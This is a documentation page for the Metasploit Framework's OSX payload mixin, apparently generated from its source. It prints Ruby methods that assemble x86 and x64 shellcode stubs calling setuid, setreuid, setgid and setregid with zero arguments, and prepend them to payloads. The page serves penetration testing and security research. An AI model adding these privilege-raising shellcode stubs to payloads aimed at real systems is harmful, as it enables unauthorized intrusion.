Module: Msf::Payload::Osx

Defined in:
lib/msf/core/payload/osx.rb

Overview

This class is here to implement advanced features for osx-based payloads. OSX payloads are expected to include this module if they want to support these features.

Defined Under Namespace

Modules: BundleInject, ReverseTcp_x64, SendUUID_x64

Instance Method Summary collapse

Instance Method Details

#apply_prepends(buf) ⇒ Object 



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# File 'lib/msf/core/payload/osx.rb', line 61

def apply_prepends(buf)
  test_arch = [ *(self.arch) ]
  pre = ''
  app = ''

  # Handle all x86 code here
  if (test_arch.include?(ARCH_X86))
    handle_x86_osx_opts(pre, app)
  elsif (test_arch.include?(ARCH_X64))
    handle_x64_osx_opts(pre, app)
  end

  pre + buf + app
end

#handle_x64_osx_opts(pre, app) ⇒ Object 



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# File 'lib/msf/core/payload/osx.rb', line 125

def handle_x64_osx_opts(pre, app)

  if (datastore['PrependSetreuid'])
    # setreuid(0, 0)
    pre << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x18"     + # shl r8, 24
           "\x49\x83\xc8\x7e"     + # or r8, 126  (setreuid=126)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x48\x31\xf6"         + # xor rsi, rsi  0
           "\x0f\x05"               # syscall
  end

  if (datastore['PrependSetuid'])
    # setuid(0)
    pre << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x18"     + # shl r8, 24
           "\x49\x83\xc8\x17"     + # or r8, 23  (setuid=23)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x0f\x05"               # syscall
  end

  if (datastore['PrependSetregid'])
    # setregid(0, 0)
    pre << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x18"     + # shl r8, 24
           "\x49\x83\xc8\x7f"     + # or r8, 127  (setregid=127)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x48\x31\xf6"         + # xor rsi, rsi  0
           "\x0f\x05"               # syscall
  end

  if (datastore['PrependSetgid'])
    # setgid(0)
    pre << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x17"     + # shl r8, 23
           "\x49\x83\xc8\x5a"     + # or r8, 90  (setgid=181>>1=90)
           "\x49\xd1\xe0"         + # shl r8, 1
           "\x49\x83\xc8\x01"     + # or r8, 1 (setgid=181&1=1)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x0f\x05"               # syscall
  end

  if (datastore['AppendExit'])
    # exit(0)
    app << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x18"     + # shl r8, 24
           "\x49\x83\xc8\x01"     + # or r8, 1  (exit=1)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x0f\x05"               # syscall
  end
end

#handle_x86_osx_opts(pre, app) ⇒ Object 



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# File 'lib/msf/core/payload/osx.rb', line 76

def handle_x86_osx_opts(pre, app)

  if (datastore['PrependSetreuid'])
    # setreuid(0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x7e"             + #   movb    $0x7e,%al                  #
           "\xcd\x80"              #   int     $0x80                      #
  end

  if (datastore['PrependSetuid'])
    # setuid(0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x17"             + #   movb    $0x17,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetregid'])
    # setregid(0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x7f"             + #   movb    $0x7f,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetgid'])
    # setgid(0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\xb5"             + #   movb    $0xb5,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['AppendExit'])
    # exit(0)
    app << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x01"             + #   movb    $0x01,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end
end

#initialize(info = {}) ⇒ Object

This mixin is chained within payloads that target the OSX platform. It provides special prepends, to support things like chroot and setuid.



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# File 'lib/msf/core/payload/osx.rb', line 16

def initialize(info = {})
  ret = super(info)

  register_advanced_options(
    [
      Msf::OptBool.new('PrependSetreuid',
        [
          false,
          "Prepend a stub that executes the setreuid(0, 0) system call",
          false
        ]
      ),
      Msf::OptBool.new('PrependSetuid',
        [
          false,
          "Prepend a stub that executes the setuid(0) system call",
          false
        ]
      ),
      Msf::OptBool.new('PrependSetregid',
        [
          false,
          "Prepend a stub that executes the setregid(0, 0) system call",
          false
        ]
      ),
      Msf::OptBool.new('PrependSetgid',
        [
          false,
          "Prepend a stub that executes the setgid(0) system call",
          false
        ]
      ),
      Msf::OptBool.new('AppendExit',
        [
          false,
          "Append a stub that executes the exit(0) system call",
          false
        ]
      ),
    ], Msf::Payload::Osx)

  ret
end